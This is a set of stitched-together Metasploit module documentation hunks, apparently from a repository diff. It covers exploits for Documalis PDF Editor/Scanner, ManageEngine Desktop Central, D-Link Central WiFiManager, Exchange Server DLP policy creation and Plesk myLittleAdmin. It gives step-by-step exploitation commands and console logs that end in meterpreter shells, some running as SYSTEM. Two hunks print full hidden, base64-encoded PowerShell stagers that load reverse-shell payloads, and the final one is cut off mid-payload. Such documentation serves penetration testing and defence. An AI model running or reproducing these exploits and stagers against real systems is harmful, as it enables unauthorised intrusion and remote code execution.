## Verification Steps
1. Install application on the target machine
2. Start msfconsole
3. Do: `use exploit/windows/fileformat/documalis_pdf_editor_and_scanner`
4. Do: `set TARGET 0` for Documalis Free PDF Editor or `set TARGET 1` for Documalis Free PDF Scanner
5. Do: `set payload windows/meterpreter/bind_tcp`
6. Do: `set RHOST [Target IP]`
7. Do: `set LPORT [Port to make the target host listen on]`
9. Do: `run`
10. Do: `use exploit/multi/handler`
11. Do: `set payload windows/meterpreter/bind_tcp`
12. Do: `set RHOST [Target IP]`
13. Do: `set LPORT [Same port as before, this will be the port the target is listening on]`
13. Do: `run`
14. Copy the generated file to the target machine
15. For Documalis Free PDF Editor, drag and drop the PDF to open it. For Documalis Free PDF Scanner, select the Add
button on the right side of the screen and then select the malicious PDF file from the file prompt.
16. You should get a shell as the user running either Documalis Free PDF Scanner or Documalis Free PDF
Editor (depending on which software was exploited).
## Options
**FILENAME**
Name of the PDF file that Metasploit will generate. This will default to "msf.pdf", but can be changed.
## Scenarios
### Documalis Free PDF Editor v5.7.2.26 on Windows 10 x64 v2004
```
msf5 > use exploit/windows/fileformat/documalis_pdf_editor_and_scanner
msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set TARGET 0
TARGET => 0
msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set RHOST 172.26.215.55
RHOST => 172.26.215.55
msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set LPORT 6655
LPORT => 6655
msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > show options
Module options (exploit/windows/fileformat/documalis_pdf_editor_and_scanner):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.pdf no The file name.
PDF::Encoder ASCIIHEX yes Select encoder for JavaScript Stream, valid values are ASCII85, FLATE, and ASCIIHEX
PDF::Method DOCUMENT yes Select PAGE, DOCUMENT, or ANNOTATION
PDF::MultiFilter 1 yes Stack multiple encodings n times
PDF::Obfuscate true yes Whether or not we should obfuscate the output
Payload options (windows/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 6655 yes The listen port
RHOST 172.26.215.55 no The target address
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
0 Documalis Free PDF Editor v.5.7.2.26 / Win 7, Win 10
msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > exploit
[+] msf.pdf stored at /home/gwillcox/.msf4/local/msf.pdf
[*] Started bind TCP handler against 172.26.215.55:6655
msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > use multi/handler
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set LPORT 6655
LPORT => 6655
msf5 exploit(multi/handler) > set RHOST 172.26.215.55
RHOST => 172.26.215.55
msf5 exploit(multi/handler) > exploit
[*] Started bind TCP handler against 172.26.215.55:6655
[*] Sending stage (176195 bytes) to 172.26.215.55
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 172.26.215.55:6655) at 2020-07-31 17:05:06 -0500
meterpreter > getuid
Server username: DESKTOP-KUO5CML\test
meterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
meterpreter > sysinfo
Computer : DESKTOP-KUO5CML
OS : Windows 10 (10.0 Build 19041).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
```
### Documalis Free PDF Scanner v5.7.2.122 on Windows 10 x64 v2004
```
msf5 > use exploit/windows/fileformat/documalis_pdf_editor_and_scanner
msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set TARGET 1
TARGET => 1
msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set RHOST 172.26.215.55
RHOST => 172.26.215.55
msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set LPORT 7788
LPORT => 7788
msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > show options
Module options (exploit/windows/fileformat/documalis_pdf_editor_and_scanner):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.pdf no The file name.
PDF::Encoder ASCIIHEX yes Select encoder for JavaScript Stream, valid values are ASCII85, FLATE, and ASCIIHEX
PDF::Method DOCUMENT yes Select PAGE, DOCUMENT, or ANNOTATION
PDF::MultiFilter 1 yes Stack multiple encodings n times
PDF::Obfuscate true yes Whether or not we should obfuscate the output
Payload options (windows/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 7788 yes The listen port
RHOST 172.26.215.55 no The target address
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
1 Documalis Free PDF Scanner v.5.7.2.122 / Win 7, Win 10
msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > exploit
[+] msf.pdf stored at /home/gwillcox/.msf4/local/msf.pdf
[*] Started bind TCP handler against 172.26.215.55:7788
msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > use multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set RHOST 172.26.215.55
RHOST => 172.26.215.55
msf5 exploit(multi/handler) > set LPORT 7788
LPORT => 7788
msf5 exploit(multi/handler) > exploit
[*] Started bind TCP handler against 172.26.215.55:7788
[*] Sending stage (176195 bytes) to 172.26.215.55
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 172.26.215.55:7788) at 2020-07-31 17:31:35 -0500
meterpreter > getuid
Server username: DESKTOP-KUO5CML\test
meterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
meterpreter > sysinfo
Computer : DESKTOP-KUO5CML
OS : Windows 10 (10.0 Build 19041).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
```
@@ -96,7 +96,7 @@ msf5 exploit(windows/http/desktopcentral_deserialization) > run
[+] The target appears to be vulnerable. Desktop Central 100465 is a vulnerable build.
[*] Executing PowerShell Stager for windows/x64/meterpreter/reverse_tcp
[*] Powershell command length: 2502
[*] Serializing command: powershell.exe -nop -w hidden -noni -c "if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIAImual4CA7VWa2+bSBT9nEj5D6iyBCiOjV0nTSNV2gFDjGu7psSP2GutCAww8QAuDLFJt/9979iQptt0t11pERLzuM9zz8zFz2OXkSQWEuuy/Ub4fHJ8NHZSJxKk2pr6al4XarkiHx3Beu1+aAbCO0Faos2mm0QOiVdXV1qepjhmh3njGjOUZTi6owRnkiz8KcxCnOKzD3f32GXCZ6H2R+OaJncOLcUKzXFDLJyh2ON7g8R1eDgNe0MJk8Tffxfl5Vlr1dA/5Q7NJNEuMoajhkepKAtfZO7wpthgSRwSN02yxGeNGYlftxuTOHN8PAJrD3iIWZh4mShDFvCmmOVpLOzz4QYO25IIw3GauMjzUpxlYl1YctPL1eo3aVn6/ZjHjES4YcYMp8nGxukDcXHW6DmxR/FH7K9Ay2YpiYOVLIPYQ7LGUi3OKa0Lv2JGGuFthdrPKknPlUBqzFK5DoV8Ic9h4uUUHzTFFwI9FF+G50AAQO7LyfHJsV/RxX2rec/ZAqOj5X6MITppnGRkL/dOUOrCEPw4LEkLmNZu0hzLqydshVrkTOs/Vm9VslyyVzzC0nKaEG8FKmU9a87FoMvXf8zLLvZJjLtF7ETEragnvQQy9inep9ioxEYQlCSWG9jrYooDh3HYeK2/U9Mjwp501ZxQD6fIhUJlEBXUUP42mEMlJNGMhzgCiA5zIF/NB8LjSrokeVF553MQEjXqZFldGOdw4ty6YGOHYq8uoDgj5RbKWbIfil/DHeaUEdfJWGVuJVc4lv60JM5YmrtQNcj9xt5glziUQ1EXesTDamGToPIrvgiE5lAK5wAsPUAhYIUDYDPOhRRC5HWXGzZmZrShOAKR/ck3qBPAOS/JvueOE2BP/HuAFZkPzOVQVBg8Cw/qa9OE1YUpSRlcIBxWTqL/5P3ZzbGPQ0txWQipOh5LtWCc1LUd4nwsMdkjkDLI3kiTSHUyfNE53BHSq6ZOuufjbvKI4NGNj9ZUtSfThTn0+tQ2mX2rk8EkDE3SMgOYFxM9GDNl8/7mpte3uz2Udnehj8zM1HtqYbVU5PbIm2lfnUxAj2gD635nIk+Ngnlwq23NcTg3wZE2CMwAvqoZuqqyUAJVMbSBrYY6UVBgWz2r01qYzUuqkkfbtFFv9uTvyY/e6fTmuxs0GvZRaHzwjFbb2Ouvuf5ifT3o6vu5y+fWbaYTHfzoxq01DfFsulFnurGwphszON0G1nTQ7BihCusm2Q02dhOeVqv/EHuPQ3r5OIRwremiT/DCDHARIAsh+zam9t1WQ6rhpmr3HE2MCaytb8x4Z91thl5x22u+nQ4J3iTI0hEyKJzHCDnbbrM1S95b03Nroiu7YqLstvp9c6uT/nZdfifXFxdB0++Mm1PbjHtOqEK8Rb+zJv1T2AP6KLd+c8rx6+px8zGeU2estRJ612xNSPeNqpoE90dDl35SIWewcW7dJVrbDX2IyQwurWCexG1nDXZnAYLoID+os983QUfNKVlPTufcVn+rRP2dwuOM+pcQW7uMAbHYnDchPtTr2lp8bZvztocNtXnqvnvFGQuUrRV09IyKP+ohQyfNQocCRaE5VJeCkaRGed+PE8I1JOnwm7DGaYwpdFnow9XZQpQmLu83+9YAve7QgXhDnMDwdfvFkSw8Ccpf+1C1dHW1gDDhtO5QY4DjgIV1ZfdaUaCnKLuOAjn+fGJasikkMFTnHYnDcjBL92Zlfnpr6eye/M9glZdGCB/v38D6uvYPuz8FoFLfJ/zd6rcLvwTnr6c+cwgDURvuPYoPXfdlBEpmPPst4YWByvvlw/8rP+TsbAR/KyfHfwHyG93zwwoAAA==''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"
[*] Executing command: powershell.exe -nop -w hidden -noni -c "if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIAImual4CA7VWa2+bSBT9nEj5D6iyBCiOjV0nTSNV2gFDjGu7psSP2GutCAww8QAuDLFJt/9979iQptt0t11pERLzuM9zz8zFz2OXkSQWEuuy/Ub4fHJ8NHZSJxKk2pr6al4XarkiHx3Beu1+aAbCO0Faos2mm0QOiVdXV1qepjhmh3njGjOUZTi6owRnkiz8KcxCnOKzD3f32GXCZ6H2R+OaJncOLcUKzXFDLJyh2ON7g8R1eDgNe0MJk8Tffxfl5Vlr1dA/5Q7NJNEuMoajhkepKAtfZO7wpthgSRwSN02yxGeNGYlftxuTOHN8PAJrD3iIWZh4mShDFvCmmOVpLOzz4QYO25IIw3GauMjzUpxlYl1YctPL1eo3aVn6/ZjHjES4YcYMp8nGxukDcXHW6DmxR/FH7K9Ay2YpiYOVLIPYQ7LGUi3OKa0Lv2JGGuFthdrPKknPlUBqzFK5DoV8Ic9h4uUUHzTFFwI9FF+G50AAQO7LyfHJsV/RxX2rec/ZAqOj5X6MITppnGRkL/dOUOrCEPw4LEkLmNZu0hzLqydshVrkTOs/Vm9VslyyVzzC0nKaEG8FKmU9a87FoMvXf8zLLvZJjLtF7ETEragnvQQy9inep9ioxEYQlCSWG9jrYooDh3HYeK2/U9Mjwp501ZxQD6fIhUJlEBXUUP42mEMlJNGMhzgCiA5zIF/NB8LjSrokeVF553MQEjXqZFldGOdw4ty6YGOHYq8uoDgj5RbKWbIfil/DHeaUEdfJWGVuJVc4lv60JM5YmrtQNcj9xt5glziUQ1EXesTDamGToPIrvgiE5lAK5wAsPUAhYIUDYDPOhRRC5HWXGzZmZrShOAKR/ck3qBPAOS/JvueOE2BP/HuAFZkPzOVQVBg8Cw/qa9OE1YUpSRlcIBxWTqL/5P3ZzbGPQ0txWQipOh5LtWCc1LUd4nwsMdkjkDLI3kiTSHUyfNE53BHSq6ZOuufjbvKI4NGNj9ZUtSfThTn0+tQ2mX2rk8EkDE3SMgOYFxM9GDNl8/7mpte3uz2Udnehj8zM1HtqYbVU5PbIm2lfnUxAj2gD635nIk+Ngnlwq23NcTg3wZE2CMwAvqoZuqqyUAJVMbSBrYY6UVBgWz2r01qYzUuqkkfbtFFv9uTvyY/e6fTmuxs0GvZRaHzwjFbb2Ouvuf5ifT3o6vu5y+fWbaYTHfzoxq01DfFsulFnurGwphszON0G1nTQ7BihCusm2Q02dhOeVqv/EHuPQ3r5OIRwremiT/DCDHARIAsh+zam9t1WQ6rhpmr3HE2MCaytb8x4Z91thl5x22u+nQ4J3iTI0hEyKJzHCDnbbrM1S95b03Nroiu7YqLstvp9c6uT/nZdfifXFxdB0++Mm1PbjHtOqEK8Rb+zJv1T2AP6KLd+c8rx6+px8zGeU2estRJ612xNSPeNqpoE90dDl35SIWewcW7dJVrbDX2IyQwurWCexG1nDXZnAYLoID+os983QUfNKVlPTufcVn+rRP2dwuOM+pcQW7uMAbHYnDchPtTr2lp8bZvztocNtXnqvnvFGQuUrRV09IyKP+ohQyfNQocCRaE5VJeCkaRGed+PE8I1JOnwm7DGaYwpdFnow9XZQpQmLu83+9YAve7QgXhDnMDwdfvFkSw8Ccpf+1C1dHW1gDDhtO5QY4DjgIV1ZfdaUaCnKLuOAjn+fGJasikkMFTnHYnDcjBL92Zlfnpr6eye/M9glZdGCB/v38D6uvYPuz8FoFLfJ/zd6rcLvwTnr6c+cwgDURvuPYoPXfdlBEpmPPst4YWByvvlw/8rP+TsbAR/KyfHfwHyG93zwwoAAA==''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"
[*] Uploading serialized payload
[+] Successfully uploaded serialized payload
[*] Deserializing payload
@@ -0,0 +1,78 @@
## Vulnerable Application
### Introduction
This module exploits a PHP code injection vulnerability in D-Link Central WiFiManager CWM100.
The vulnerability exists because a user-controlled cookie is passed to the `eval()` function without being
sanitized.
Because the HTTP server runs in the context of a privileged user (with a default installation),
successful exploitation results in code execution as nt_authority\system.
A vulnerable version is available at DLink's vulnerability announcement:
- [The announcement](https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10117)
- [ftp://ftp2.dlink.com/SOFTWARE/CENTRAL_WIFI_MANAGER/CENTRAL_WI-FI_MANAGER_1.03.zip](ftp://ftp2.dlink.com/SOFTWARE/CENTRAL_WIFI_MANAGER/CENTRAL_WI-FI_MANAGER_1.03.zip)
## Verification Steps
1. Start `msfconsole`
2. Do: `use windows/http/dlink_central_wifimanager_rce`
3. Do: `set RHOSTS [RHOSTS]`
4. Check the payload options: `show options`
5. Do: `exploit`
6. Verify that you get a shell / meterpreter / that whatever payload you used was executed
## Options
No additional options
## Scenarios
### CWM-100 v1.03
#### Getting a meterpreter session
```
msf5 exploit(windows/http/dlink_central_wifimanager_rce) >
msf5 exploit(windows/http/dlink_central_wifimanager_rce) > exploit
[*] Started reverse TCP handler on 192.168.1.222:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Sending stage (38288 bytes) to 192.168.1.223
[*] Meterpreter session 1 opened (192.168.1.222:4444 -> 192.168.1.223:1783) at 2020-08-13 14:51:09 +0200
meterpreter > sysinfo
Computer : REVM-PC
OS : Windows NT REVM-PC 6.1 build 7601 (Windows 7 Professional N Edition Service Pack 1) i586
Meterpreter : php/windows
meterpreter > getuid
Server username: SYSTEM (0)
meterpreter > pwd
C:\Program Files (x86)\D-Link\Central WifiManager\web
meterpreter > ls
Listing: C:\Program Files (x86)\D-Link\Central WifiManager\web
==============================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 177 fil 2014-09-16 16:19:18 +0200 .htaccess
100666/rw-rw-rw- 138884 fil 2016-01-28 13:36:32 +0100 AP_Installation_utility_for_cwm.zip
40777/rwxrwxrwx 4096 dir 2020-08-13 12:50:25 +0200 CapLoginStyle
40777/rwxrwxrwx 0 dir 2020-08-13 12:50:25 +0200 Common
40777/rwxrwxrwx 4096 dir 2020-08-13 12:50:45 +0200 Conf
40777/rwxrwxrwx 0 dir 2020-08-13 12:50:25 +0200 DBBackup
40777/rwxrwxrwx 4096 dir 2020-08-13 12:50:44 +0200 Lang
40777/rwxrwxrwx 0 dir 2020-08-13 12:50:26 +0200 Lib
40777/rwxrwxrwx 4096 dir 2020-08-13 12:50:45 +0200 Public
100666/rw-rw-rw- 256 fil 2014-09-16 16:19:18 +0200 README.txt
40777/rwxrwxrwx 0 dir 2020-08-13 13:02:13 +0200 Runtime
40777/rwxrwxrwx 4096 dir 2020-08-13 12:50:27 +0200 ThinkPHP
40777/rwxrwxrwx 0 dir 2020-08-13 12:50:26 +0200 Tpl
40777/rwxrwxrwx 4096 dir 2020-08-13 12:50:38 +0200 captivalportal
40777/rwxrwxrwx 4096 dir 2020-08-13 12:50:36 +0200 ckeditor
100666/rw-rw-rw- 15086 fil 2014-09-16 16:19:18 +0200 favicon.ico
100666/rw-rw-rw- 158 fil 2014-09-16 16:19:18 +0200 index.php
100666/rw-rw-rw- 122 fil 2015-10-29 14:17:48 +0100 redrect.php
100666/rw-rw-rw- 211 fil 2014-09-16 16:19:18 +0200 robots.txt
```
@@ -0,0 +1,123 @@
## Vulnerable Application
### Description
This vulnerability allows remote attackers to execute arbitrary code
on affected installations of Exchange Server. Authentication is
required to exploit this vulnerability. Additionally, the target user
must have the `Data Loss Prevention` role assigned and an active
mailbox.
If the user is in the `Compliance Management` or greater `Organization
Management` role groups, then they have the `Data Loss Prevention`
role. Since the user who installed Exchange is in the `Organization
Management` role group, they transitively have the `Data Loss
Prevention` role.
The specific flaw exists within the processing of the `New-DlpPolicy`
cmdlet. The issue results from the lack of proper validation of
user-supplied template data when creating a DLP policy. An attacker
can leverage this vulnerability to execute code in the context of
`SYSTEM`.
Tested against Exchange Server 2016 CU14 on Windows Server 2016.
### Setup
Set up a [vulnerable target](#targets).
## Verification Steps
Follow [Setup](#setup) and [Scenarios](#scenarios).
## Targets
### 0
`Exchange Server 2016 and 2019 w/o KB4577352`
## Options
### USERNAME
Set this to the OWA username.
### PASSWORD
Set this to the OWA password.
## Scenarios
### Exchange Server 2016 CU14 on Windows Server 2016
```
msf6 > use exploit/windows/http/exchange_ecp_dlp_policy
[*] Using configured payload windows/x64/meterpreter/reverse_https
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > options
Module options (exploit/windows/http/exchange_ecp_dlp_policy):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no OWA password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path
USERNAME no OWA username
VHOST no HTTP server virtual host
Payload options (windows/x64/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The local listener hostname
LPORT 8443 yes The local listener port
LURI no The HTTP Path
Exploit target:
Id Name
-- ----
0 Exchange Server 2016 and 2019 w/o KB4577352
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set rhosts 192.168.123.192
rhosts => 192.168.123.192
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set username Administrator
username => Administrator
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set password Passw0rd!
password => Passw0rd!
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > run
[*] Started HTTPS reverse handler on https://192.168.123.1:8443
[*] Executing automatic check (disable AutoCheck to override)
[!] The service is running, but could not be validated. OWA is running at https://192.168.123.192/owa/
[*] Logging in to OWA with creds Administrator:Passw0rd!
[+] Successfully logged in to OWA
[*] Retrieving ViewState from DLP policy creation page
[+] Successfully retrieved ViewState
[*] Creating custom DLP policy from malicious template
[*] DLP policy name: Abbotstone Agricultural Property Unit Trust Data
[*] Powershell command length: 2372
[*] https://192.168.123.1:8443 handling request from 192.168.123.192; (UUID: rwlz4ahe) Staging x64 payload (201308 bytes) ...
[*] Meterpreter session 1 opened (192.168.123.1:8443 -> 192.168.123.192:6951) at 2020-09-16 02:39:17 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-365Q2VJJS17
OS : Windows 2016+ (10.0 Build 14393).
Architecture : x64
System Language : en_US
Domain : GIBSON
Logged On Users : 8
Meterpreter : x64/windows
meterpreter >
```
@@ -103,7 +103,7 @@ msf5 exploit(windows/http/plesk_mylittleadmin_viewstate) > run
[+] The target is vulnerable. We can sign our own ViewState.
[*] Executing PowerShell Stager for windows/x64/meterpreter/reverse_tcp
[*] Powershell command length: 2498
[*] Serializing command: powershell.exe -nop -w hidden -noni -c "if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIAFwAx14CA7VWbW+bSBD+nEj5D6iyZFAcG6dOm0aqdIAhxrUTE/zuWicMa9h4YQkssUmv//1mbUhTNb1rTzqExO7svD4zs8M6i1yGaSTkK0X4cnJ8NHASJxTEShbXhIp3d3sjHR0BueLNRsJHQVwocdymoYOj5dWVliUJithhX79GTElTFK4IRqkoCX8JkwAl6Ox2dY9cJnwRKn/WrwldOaRgyzXHDZBwpkQeP+tR1+Gu1O2YYCZWP3+uSouz5rKuP2QOScWqnacMhXWPkKokfJW4wWEeI7Hax25CU7pm9QmO3p7XR1HqrNENaHtEfcQC6qVVCYKAN0EsSyKBh8PlD6diFZaDhLqK5yUoTas1YcE1L5bLP8RFYfYuixgOUd2MGEpobKPkEbsorXecyCPoDq2XIGWzBEf+UpKA7ZFukFiJMkJqwu+oEW/QtgTtV4XEl0LANWCJVIMs/hhmn3oZQQfB6it+QuIleMrkA2xfT45PjtdlndDp5GWdwOposV8jcE0c0BTv2T4Kck3ogxWH0SSHbWWYZEhaPgMrVFAwpNvazxU0S27gfVhlQFmMKfaWIFEks0I/cerPS7KN1jhC7TxyQuyWVSe+BjBaE7QPsF6y3YBHYrU4QF4bEeQ7jGPG8/yDmB5i9iyrZph4KFFcSFIKXkH+pO+dOaRBrJpRH4WA0GEPhVdZQ62jkruo77y0zvfAVNWIk6Y1YZBBs7k1wUYOQV5NUKIUF0dKxuh+Wf3mbj8jDLtOykp1S+mAYmFNo1HKksyFlEHkQztGLnYIB6ImdLCH1NzGfmm1+ioMmkMIdABoeoQ0AIWHbzNeCAk4eEi6VLcRM8OYoBCY9k1vEMeHFi8KfV86jo+86vcOlnV8KFoORInAC/cguzahrCaMccLg5uCgQv38R+Mv7gxwQ0tQkQWx7IyFmjNe0JWHD08Tg9djgcoeg4RB/EZCQ9VJ0bvW4X4Q3zR03L4YtOmTAo9u3Flj1R6N52bf6xLbZPZMx71REJi4afqwz0e6P2By/Gk47HTtdkdJ2rtgrZipqXfU3GqqitvB78dddTQCOaz1rPudqXhq6E/9mbY1B8HUBENazzd9+Kpm4KryXPZV2dB6throWFZ82+pYrebcbFwSFT/Zpq10Js/2nu3orVZnuhsqN/2uEhi3ntE8N/byGy4/31z32vp+7/K9NUt1rIMd3ZhZ4wBNxrE60Y25NY5N/3TrW+Neo2UEKtBNvOvFdgOeZrP7GHlPfXL51Ad3rfG8i9Hc9FHuK5ai2LOI2KutpqiGm6jtC2VkjIC2GZrRzlrFfS+fdRofxn2MYqpYuqIYBPoxVJxtu9Gc0E/W+MIa6fIuH8m7rX7f2Oq4u90U39H1u3d+Y90aNMa2GXWcQAV/825rg7uncBY6Y3m2bow5fm09ajxFU+IMtCYlq0ZzhNvvVdXEqHvTd8mDCjGDjgtrRbVzN1iDT6Z/aflTGp07G9A78RXwDuKDPK+7JsioGcGb0emU6+pu5bC7k7mfYfcSfDsvfFBYZE4b4J/SadtadG2b03MPGWrj1P34hpcs1GwltLbBi1r82QDpO0kaOARqFEZDeSsYNDGK635AMZcQRf57sEFJhAjMV5jAZXMphFCXjxo+F2DKHWYPH4UjWL49f3UlCc+M0rcRVJKurubgI29a3lD1Hop8FtTk3VtZhpki71oyBPnrgWk0zsWDrhofSntonrWTvXaJN3Il1m69/xWz4vYI4OP9C2bfaP9w+ks4yrVDxD+Qvyf8Fqa/G/jEwQwYbbj7CDpM3lfjL8rjxW8Jzwnkfl08/K/yNmNnN/C3cnL8NwbBQmG9CgAA''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"
[*] Executing command: powershell.exe -nop -w hidden -noni -c "if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIAFwAx14CA7VWbW+bSBD+nEj5D6iyZFAcG6dOm0aqdIAhxrUTE/zuWicMa9h4YQkssUmv//1mbUhTNb1rTzqExO7svD4zs8M6i1yGaSTkK0X4cnJ8NHASJxTEShbXhIp3d3sjHR0BueLNRsJHQVwocdymoYOj5dWVliUJithhX79GTElTFK4IRqkoCX8JkwAl6Ox2dY9cJnwRKn/WrwldOaRgyzXHDZBwpkQeP+tR1+Gu1O2YYCZWP3+uSouz5rKuP2QOScWqnacMhXWPkKokfJW4wWEeI7Hax25CU7pm9QmO3p7XR1HqrNENaHtEfcQC6qVVCYKAN0EsSyKBh8PlD6diFZaDhLqK5yUoTas1YcE1L5bLP8RFYfYuixgOUd2MGEpobKPkEbsorXecyCPoDq2XIGWzBEf+UpKA7ZFukFiJMkJqwu+oEW/QtgTtV4XEl0LANWCJVIMs/hhmn3oZQQfB6it+QuIleMrkA2xfT45PjtdlndDp5GWdwOposV8jcE0c0BTv2T4Kck3ogxWH0SSHbWWYZEhaPgMrVFAwpNvazxU0S27gfVhlQFmMKfaWIFEks0I/cerPS7KN1jhC7TxyQuyWVSe+BjBaE7QPsF6y3YBHYrU4QF4bEeQ7jGPG8/yDmB5i9iyrZph4KFFcSFIKXkH+pO+dOaRBrJpRH4WA0GEPhVdZQ62jkruo77y0zvfAVNWIk6Y1YZBBs7k1wUYOQV5NUKIUF0dKxuh+Wf3mbj8jDLtOykp1S+mAYmFNo1HKksyFlEHkQztGLnYIB6ImdLCH1NzGfmm1+ioMmkMIdABoeoQ0AIWHbzNeCAk4eEi6VLcRM8OYoBCY9k1vEMeHFi8KfV86jo+86vcOlnV8KFoORInAC/cguzahrCaMccLg5uCgQv38R+Mv7gxwQ0tQkQWx7IyFmjNe0JWHD08Tg9djgcoeg4RB/EZCQ9VJ0bvW4X4Q3zR03L4YtOmTAo9u3Flj1R6N52bf6xLbZPZMx71REJi4afqwz0e6P2By/Gk47HTtdkdJ2rtgrZipqXfU3GqqitvB78dddTQCOaz1rPudqXhq6E/9mbY1B8HUBENazzd9+Kpm4KryXPZV2dB6throWFZ82+pYrebcbFwSFT/Zpq10Js/2nu3orVZnuhsqN/2uEhi3ntE8N/byGy4/31z32vp+7/K9NUt1rIMd3ZhZ4wBNxrE60Y25NY5N/3TrW+Neo2UEKtBNvOvFdgOeZrP7GHlPfXL51Ad3rfG8i9Hc9FHuK5ai2LOI2KutpqiGm6jtC2VkjIC2GZrRzlrFfS+fdRofxn2MYqpYuqIYBPoxVJxtu9Gc0E/W+MIa6fIuH8m7rX7f2Oq4u90U39H1u3d+Y90aNMa2GXWcQAV/825rg7uncBY6Y3m2bow5fm09ajxFU+IMtCYlq0ZzhNvvV